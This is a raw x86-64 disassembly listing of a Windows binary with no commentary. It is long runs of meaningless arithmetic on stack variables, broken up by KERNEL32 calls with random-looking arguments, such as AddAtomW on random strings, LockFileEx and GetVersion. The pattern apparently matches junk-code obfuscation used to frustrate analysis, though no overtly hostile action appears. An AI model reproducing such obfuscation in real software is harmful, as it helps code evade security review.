mov ecx, dword [0x140363a70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
mov eax, dword [rsp + 0xa884]
mov dword [rsp + 0xb398], eax
mov rax, qword [rsp + 0x14e18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6d8]
shl eax, cl
mov byte [rsp + 0x729], al
mov rax, qword [0x140363e28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
cdq
idiv ecx
mov word [rsp + 0x18a0], ax
mov rax, qword [rsp + 0x14920]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a58]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x134f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2cec]
mov word [0x140363304], ax
mov rax, qword [0x140363d28]
mov eax, dword [rax]
mov dword [rsp + 0xb39c], eax
mov eax, dword [rsp + 0xaebc]
movzx ecx, al
mov eax, dword [rsp + 0x6700]
shr eax, cl
mov rcx, qword [rsp + 0x16690]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15ab0]
movzx eax, word [rax]
mov rcx, qword [0x140363b98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x146b8]
mov word [rcx], ax
lea rax, [rsp + 0x6b3]
mov qword [rsp + 0x16ce0], rax
mov rax, qword [rsp + 0x13c68]
mov ecx, dword [rsp + 0xae14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaf28], eax
mov eax, dword [rsp + 0x6618]
mov ecx, dword [rsp + 0x8808]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x67a4], eax
movzx ecx, word [rsp + 0x2ac0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x14c18]
mov ecx, dword [rsp + 0xa920]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14380]
mov dword [rcx], eax
mov rax, qword [rsp + 0x145c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15cf8]
mov dword [rcx], eax
lea rcx, str.2tqoS3O_Pc8_Kv3
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e88], ax
movzx eax, byte [0x14035e55e]
mov rcx, qword [rsp + 0x15be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14035e55c], al
lea rax, [rsp + 0x1b9c]
mov qword [rsp + 0x16ce8], rax
mov eax, dword [rsp + 0x70c0]
mov ecx, dword [rsp + 0x6378]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16318]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb280]
mov dword [rsp + 0xb3a0], eax
mov rax, qword [rsp + 0x149f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2e0c]
sub eax, ecx
mov word [rsp + 0x1cc4], ax
mov rax, qword [rsp + 0x14e70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x400]
add eax, ecx
mov byte [rsp + 0x6bb], al
lea rax, [0x14035cc34]
mov qword [rsp + 0x16cf0], rax
mov rax, qword [rsp + 0x16990]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x140a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x731], al
mov rax, qword [rsp + 0x15e58]
mov eax, dword [rax]
mov dword [rsp + 0xb3a4], eax
lea rax, [0x14035cc7c]
mov qword [0x140364238], rax
mov rax, qword [rsp + 0x13c98]
mov ecx, dword [rsp + 0xab2c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15258]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e30]
mov ecx, dword [rsp + 0x6e64]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x16850]
mov dword [rcx], eax
lea rax, [rsp + 0x73fc]
mov qword [rsp + 0x16cf8], rax
mov rax, qword [rsp + 0x150e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b8]
shl eax, cl
mov rcx, qword [rsp + 0x13f78]
mov word [rcx], ax
mov rax, qword [rsp + 0x15eb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x16a60]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x412], al
mov rax, qword [rsp + 0x13460]
mov rcx, qword [rsp + 0x15f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13730]
mov dword [rcx], eax
lea rax, [rsp + 0x6b44]
mov qword [rsp + 0x16d00], rax
mov rax, qword [rsp + 0x141d0]
mov ecx, dword [rsp + 0xa8bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14f10]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xaab4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363e18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15988]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14d08]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x146b8]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0x16910]
mov rdx, qword [rsp + 0x13958]
mov rcx, qword [rsp + 0x14c50]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xadac], eax
mov rax, qword [rsp + 0x15be0]
movzx eax, byte [rax]
mov byte [rsp + 0x765], al
movsx eax, byte [rsp + 0x6da]
movsx ecx, byte [rsp + 0x70d]
sub eax, ecx
mov byte [rsp + 0x92], al
movsx eax, word [rsp + 0x2d28]
movsx ecx, word [rsp + 0x2558]
and eax, ecx
mov word [rsp + 0x15b4], ax
mov rax, qword [rsp + 0x14e90]
mov rcx, qword [rsp + 0x167b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xae58], eax
mov rax, qword [rsp + 0x14950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
lea rax, [rsp + 0x2a18]
mov qword [rsp + 0x16d08], rax
movzx eax, byte [rsp + 0x70a]
movzx ecx, byte [rsp + 0x704]
sub eax, ecx
mov byte [rsp + 0x715], al
mov rax, qword [rsp + 0x156c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb190]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363d48]
mov dword [rcx], eax
lea rax, [rsp + 0xaa70]
mov qword [rsp + 0x16d10], rax
mov rax, qword [0x140364200]
mov rcx, qword [rsp + 0x16be0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa930], eax
mov rax, qword [rsp + 0x14078]
mov ecx, dword [rsp + 0xa8d0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7820], eax
lea rax, [rsp + 0x25c8]
mov qword [rsp + 0x16d18], rax
movzx eax, byte [rsp + 0x6fa]
movzx ecx, byte [rsp + 0x328]
sar eax, cl
mov byte [rsp + 0x750], al
mov eax, dword [rsp + 0xb250]
mov dword [rsp + 0xb3a8], eax
mov rax, qword [rsp + 0x15c50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa884]
shl eax, cl
mov dword [rsp + 0xabec], eax
mov rax, qword [rsp + 0x13e70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa990]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14670]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15318]
mov rcx, qword [rsp + 0x13ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14035ccd8], eax
mov rax, qword [0x140363f38]
mov ecx, dword [rsp + 0xaf20]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7804], eax
movsx eax, word [rsp + 0x2b88]
movsx ecx, word [rsp + 0x1410]
and eax, ecx
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x151a8]
movzx eax, byte [rax]
mov byte [rsp + 0x766], al
mov rax, qword [0x140363d18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f7]
add eax, ecx
mov rcx, qword [rsp + 0x15588]
mov byte [rcx], al
lea rcx, [rsp + 0x41bf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, str.CX64H_Io87UKBN_se0ZmQY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e8c], ax
lea rax, [rsp + 0x1b0c]
mov qword [rsp + 0x16d20], rax
mov rax, qword [rsp + 0x16060]
mov rcx, qword [rsp + 0x13248]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13790]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ac0]
mov rcx, qword [rsp + 0x15890]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb0fc], eax
lea rax, [rsp + 0x2e10]
mov qword [rsp + 0x16d28], rax
lea rax, [rsp + 0x6d9]
mov qword [0x140364240], rax
mov rax, qword [rsp + 0x161b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa764], eax
mov eax, dword [rsp + 0xa184]
mov dword [rsp + 0xb3ac], eax
mov r9d, 0x1e47
xor r8d, r8d
lea rdx, [rsp + 0x16708]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xaf2c], eax
mov rax, qword [rsp + 0x13828]
mov rcx, qword [rsp + 0x143a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaf64], eax
mov rax, qword [rsp + 0x15b00]
mov ecx, dword [rsp + 0xb1cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab38], eax
mov rax, qword [rsp + 0x16738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16ce8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x277c], ax
movzx eax, byte [rsp + 0x57c]
movzx ecx, byte [0x140353597]
xor eax, ecx
mov rcx, qword [rsp + 0x14228]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab10], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab40], eax
mov rax, qword [rsp + 0x14b50]
mov eax, dword [rax]
mov dword [rsp + 0xb3b0], eax
mov rax, qword [rsp + 0x15ce0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14898]
mov qword [rsp + 0x16d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16d30]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13fd8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [0x1403535ca]
movsx ecx, byte [rsp + 0x453]
shl eax, cl
mov byte [0x14035e4a7], al
movsx eax, word [rsp + 0x2474]
mov rcx, qword [rsp + 0x15678]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x235c], ax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x16d38], rax
mov rax, qword [rsp + 0x13718]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13c40]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15048]
mov byte [rcx], al
mov rax, qword [rsp + 0x13a28]
mov ecx, dword [rsp + 0xae64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x74d0], eax
mov rax, qword [rsp + 0x16478]
mov rcx, qword [rsp + 0x15fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x67dc], eax
lea rax, [rsp + 0xb3ac]
mov qword [rsp + 0x16d40], rax
mov rax, qword [rsp + 0x16168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa974]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16308]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2e60]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2afc], ax
mov rax, qword [rsp + 0x16098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ed4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b30], eax
movzx eax, byte [rsp + 0x6cd]
mov byte [rsp + 0x767], al
movzx eax, word [rsp + 0x2a88]
movzx ecx, word [rsp + 0x18e4]
or eax, ecx
mov word [0x14035ccc0], ax
lea rdx, [rsp + 0x144e0]
mov rcx, qword [rsp + 0x16b88]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb3b4], eax
mov rax, qword [0x140363f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x687c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xafe0], eax
lea rax, [rsp + 0x7884]
mov qword [rsp + 0x16d48], rax
mov eax, dword [rsp + 0xb3b0]
mov ecx, dword [rsp + 0xa980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa850], eax
mov rax, qword [0x140363d28]
mov rcx, qword [rsp + 0x138c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x146d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x146e0]
movzx eax, word [rax]
mov word [rsp + 0x2e90], ax
mov rax, qword [rsp + 0x13c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x166]
sub eax, ecx
mov byte [rsp + 0x3bb], al
mov rax, qword [rsp + 0x13eb0]
movsx eax, byte [rax]
cdq
mov ecx, 0x26
idiv ecx
mov byte [rsp + 0xa7], al
movsx eax, word [rsp + 0x2b5c]
movsx ecx, word [rsp + 0x2ae8]
xor eax, ecx
mov word [rsp + 0x2b90], ax
lea rax, [rsp + 0xa8cc]
mov qword [0x140364248], rax
mov eax, dword [rsp + 0x7a7c]
movzx ecx, al
mov eax, dword [rsp + 0xb110]
shl eax, cl
mov dword [rsp + 0xa9b0], eax
lea rax, [rsp + 0x732]
mov qword [rsp + 0x16d50], rax
movzx eax, word [rsp + 0x1328]
mov rcx, qword [rsp + 0x15a60]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x15ba8]
mov word [rcx], ax
mov eax, dword [0x140363d20]
mov dword [rsp + 0xb3b8], eax
mov rax, qword [rsp + 0x13cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x76ec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x69fc], eax
mov rax, qword [rsp + 0x15ee0]
mov rcx, qword [rsp + 0x14898]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xac50], eax
mov eax, dword [rsp + 0xae44]
mov ecx, dword [rsp + 0xabcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9514], eax
movzx eax, word [rsp + 0x25a4]
movzx ecx, word [rsp + 0x251c]
sub eax, ecx
mov word [rsp + 0x2d7c], ax
lea rax, [0x1403535a3]
mov qword [0x140364250], rax
lea rax, [rsp + 0xb038]
mov qword [rsp + 0x16d58], rax
mov eax, dword [rsp + 0x8ab0]
mov ecx, dword [rsp + 0x77a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x157b8]
mov dword [rcx], eax
lea rax, [rsp + 0x7804]
mov qword [rsp + 0x16d60], rax
mov rax, qword [0x1403639d0]
mov rcx, qword [rsp + 0x13c88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x149b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15c18]
mov rcx, qword [rsp + 0x137a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb1d4], eax
mov rax, qword [rsp + 0x135f0]
movzx eax, byte [rax]
mov byte [rsp + 0x768], al
movsx eax, word [rsp + 0x2d6c]
mov rcx, qword [rsp + 0x13950]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f1c], ax
lea rax, [rsp + 0x299c]
mov qword [rsp + 0x16d68], rax
movzx ecx, word [rsp + 0x2a68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29b0], ax
movzx ecx, word [rsp + 0x2a50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2e94], ax
movzx eax, byte [rsp + 0x69f]
mov rcx, qword [rsp + 0x14158]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [str.1itfN], al
mov rax, qword [rsp + 0x15cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146d8]
mov dword [rcx], eax
lea rdx, [rsp + 0x15268]
mov rcx, qword [rsp + 0x15ff8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa74], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb124], eax
mov rax, qword [rsp + 0x13a80]
mov rcx, qword [rsp + 0x165c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69b0], eax
movzx eax, byte [rsp + 0x118]
mov byte [rsp + 0x769], al
mov rax, qword [rsp + 0x14bb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b98]
sar eax, cl
mov word [rsp + 0x2c64], ax
lea rcx, str.KIRww.EUHMlB_Il_TGs
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e98], ax
mov rax, qword [rsp + 0x15cf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8718]
shl eax, cl
mov dword [rsp + 0x66f4], eax
mov rax, qword [0x140364030]
mov rcx, qword [rsp + 0x13b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14c80]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaf20]
mov ecx, dword [rsp + 0xb0ec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13828]
mov eax, dword [rax]
mov dword [rsp + 0xb3bc], eax
mov rax, qword [rsp + 0x14b40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75c]
and eax, ecx
mov rcx, qword [0x140364090]
mov byte [rcx], al
mov r9d, 0xa7c
xor r8d, r8d
lea rdx, [rsp + 0x15f40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb230], eax
mov rax, qword [rsp + 0x15fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ab8]
and eax, ecx
mov rcx, qword [rsp + 0x143e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x142b0]
mov ecx, dword [rsp + 0xaab0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7cc4], eax
mov rax, qword [rsp + 0x15e80]
mov rcx, qword [rsp + 0x14b50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15cf8]
mov dword [rcx], eax
lea rax, [rsp + 0x2e04]
mov qword [rsp + 0x16d70], rax
movsx eax, byte [rsp + 0x68a]
mov rcx, qword [rsp + 0x16028]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6d8], al
movzx eax, word [rsp + 0x16d4]
mov rcx, qword [rsp + 0x16b80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d8c], ax
lea rax, [rsp + 0x71e]
mov qword [rsp + 0x16d78], rax
mov rax, qword [rsp + 0x13b78]
mov ecx, dword [rsp + 0x69b0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13328]
mov eax, dword [rax]
mov dword [0x14036422c], eax
mov rax, qword [rsp + 0x15138]
mov eax, dword [rax]
mov dword [rsp + 0xb3c0], eax
mov rax, qword [rsp + 0x15370]
mov ecx, dword [rsp + 0xa8ac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6e3c], eax
mov rax, qword [rsp + 0x16778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa984], eax
lea rax, [rsp + 0x6e5]
mov qword [rsp + 0x16d80], rax
movzx eax, word [rsp + 0x2d50]
movzx ecx, word [rsp + 0x1e64]
sar eax, cl
mov word [rsp + 0x2a80], ax
mov eax, dword [rsp + 0xaf98]
mov dword [rsp + 0xb3c4], eax
mov eax, dword [rsp + 0xa758]
mov ecx, dword [rsp + 0x63c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x161a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb2f0]
movzx ecx, al
mov eax, dword [rsp + 0x93e0]
shl eax, cl
mov dword [rsp + 0x7200], eax
mov rax, qword [rsp + 0x166b0]
mov ecx, dword [rsp + 0x80ac]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14035ccdc], eax
movzx eax, word [rsp + 0x2ba0]
movzx ecx, word [rsp + 0x2ce0]
add eax, ecx
mov word [rsp + 0x1470], ax
mov rax, qword [rsp + 0x156f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x120]
or eax, ecx
mov byte [rsp + 0x59f], al
lea rax, [rsp + 0x2a1c]
mov qword [rsp + 0x16d88], rax
mov rax, qword [rsp + 0x166a8]
movsx eax, byte [rax]
movsx ecx, byte [0x1403535db]
imul eax, ecx
mov rcx, qword [rsp + 0x151a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14ff8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6768]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xabfc], eax
lea rax, [rsp + 0xa984]
mov qword [rsp + 0x16d90], rax
mov rax, qword [rsp + 0x13650]
movzx eax, byte [rax]
movzx ecx, byte [0x140353577]
and eax, ecx
mov rcx, qword [rsp + 0x156b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2e54]
mov word [rsp + 0x2e9c], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1bbd
mov r9d, 0x11c8
mov r8d, 0xa8b8c616
mov edx, 1
mov rcx, qword [rsp + 0x15e00]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xb114], eax
lea rcx, [rsp + 0x41fe8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13e68]
mov ecx, dword [rsp + 0xaee4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140364030]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14680]
mov eax, dword [rax]
mov ecx, dword [0x14036422c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1bc], eax
mov rax, qword [rsp + 0x15f50]
mov ecx, dword [rsp + 0xb004]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x92c8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x29d5
mov r9d, 0xca9
mov r8d, 0xcf2ee599
mov edx, 2
mov rcx, qword [rsp + 0x141c0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xacf0], eax
mov rax, qword [rsp + 0x13408]
mov rcx, qword [rsp + 0x15fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x16568]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15f90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13480]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15608]
mov word [rcx], ax
movzx eax, byte [rsp + 0x334]
mov byte [rsp + 0x76a], al
mov rax, qword [rsp + 0x13d88]
mov ecx, dword [rsp + 0xb1e4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6ba8], eax
mov eax, dword [rsp + 0xaa3c]
mov rcx, qword [rsp + 0x13c98]
mov qword [rsp + 0x16d98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16d98]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7180], eax
mov eax, dword [rsp + 0x69fc]
mov ecx, dword [rsp + 0xa9c8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x168a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7884]
mov rcx, qword [rsp + 0x13ee8]
mov qword [rsp + 0x16da0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16da0]
mov eax, dword [rax]
shl eax, cl
mov dword [str._tq_n], eax
mov rax, qword [rsp + 0x13498]
mov ecx, dword [rsp + 0x81b4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13550]
mov dword [rcx], eax
mov rax, qword [0x140363c58]
movzx eax, byte [rax]
mov byte [rsp + 0x76b], al
movsx eax, word [rsp + 0x2a1c]
movsx ecx, word [rsp + 0x2d88]
and eax, ecx
mov word [rsp + 0x2b04], ax
mov rax, qword [rsp + 0x16ac0]
movzx eax, word [rax]
mov word [rsp + 0x2ea0], ax
movzx eax, byte [rsp + 0x4bc]
movzx ecx, byte [0x14035e545]
add eax, ecx
mov rcx, qword [rsp + 0x13890]
mov byte [rcx], al
mov rax, qword [rsp + 0x14cb0]
mov rcx, qword [rsp + 0x14168]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6534], eax
mov rax, qword [rsp + 0x14080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb288]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ebc], eax
mov rax, qword [0x140364158]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14fb8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x150e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6f3]
mov byte [0x14035e587], al
mov rax, qword [rsp + 0x163c0]
mov eax, dword [rax]
mov dword [rsp + 0xb3c8], eax
mov eax, dword [rsp + 0x6bc0]
mov ecx, dword [rsp + 0xa8c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16d60]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaad8]
mov ecx, dword [rsp + 0xa904]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x66cc]
mov ecx, dword [rsp + 0x9cbc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9194], eax
mov rax, qword [rsp + 0x14b98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x42a]
mov byte [rsp + 0x76c], al
mov rax, qword [rsp + 0x137d0]
mov rcx, qword [rsp + 0x158e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16278]
mov dword [rcx], eax
mov rax, qword [rsp + 0x152e0]
mov eax, dword [rax]
mov dword [rsp + 0xb3cc], eax
lea rdx, [rsp + 0x150f0]
mov rcx, qword [rsp + 0x14088]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb3d0], eax
movsx eax, word [rsp + 0x2a90]
movsx ecx, word [rsp + 0x2d80]
sub eax, ecx
mov word [0x140362d84], ax
mov rax, qword [rsp + 0x136b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15e08]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x645], al
mov rax, qword [rsp + 0x14188]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15bf8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6ff], al
movzx eax, word [rsp + 0x2d2c]
movzx ecx, word [rsp + 0x2180]
xor eax, ecx
mov word [rsp + 0x1c5c], ax
mov r9d, 1
lea r8, [rsp + 0x16140]
mov rdx, qword [rsp + 0x150f0]
mov rcx, qword [rsp + 0x13990]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb340], eax
mov rax, qword [rsp + 0x13ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb2cc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov dword [rcx], eax
lea rax, [rsp + 0xb1e0]
mov qword [rsp + 0x16da8], rax
mov rax, qword [rsp + 0x158e8]
mov ecx, dword [rsp + 0x9f08]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7124], eax
mov rax, qword [rsp + 0x16260]
mov rcx, qword [rsp + 0x13c38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x16418]
mov dword [rcx], eax
lea rax, [rsp + 0xb250]
mov qword [rsp + 0x16db0], rax
mov rax, qword [rsp + 0x14948]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e506]
add eax, ecx
mov rcx, qword [rsp + 0x14920]
mov byte [rcx], al
mov rax, qword [rsp + 0x14b48]
movzx eax, word [rax]
mov word [0x140363324], ax
lea rax, [rsp + 0xb378]
mov qword [rsp + 0x16db8], rax
mov rax, qword [rsp + 0x15d28]
mov ecx, dword [rsp + 0xaf74]
mov eax, dword [rax]
or eax, ecx
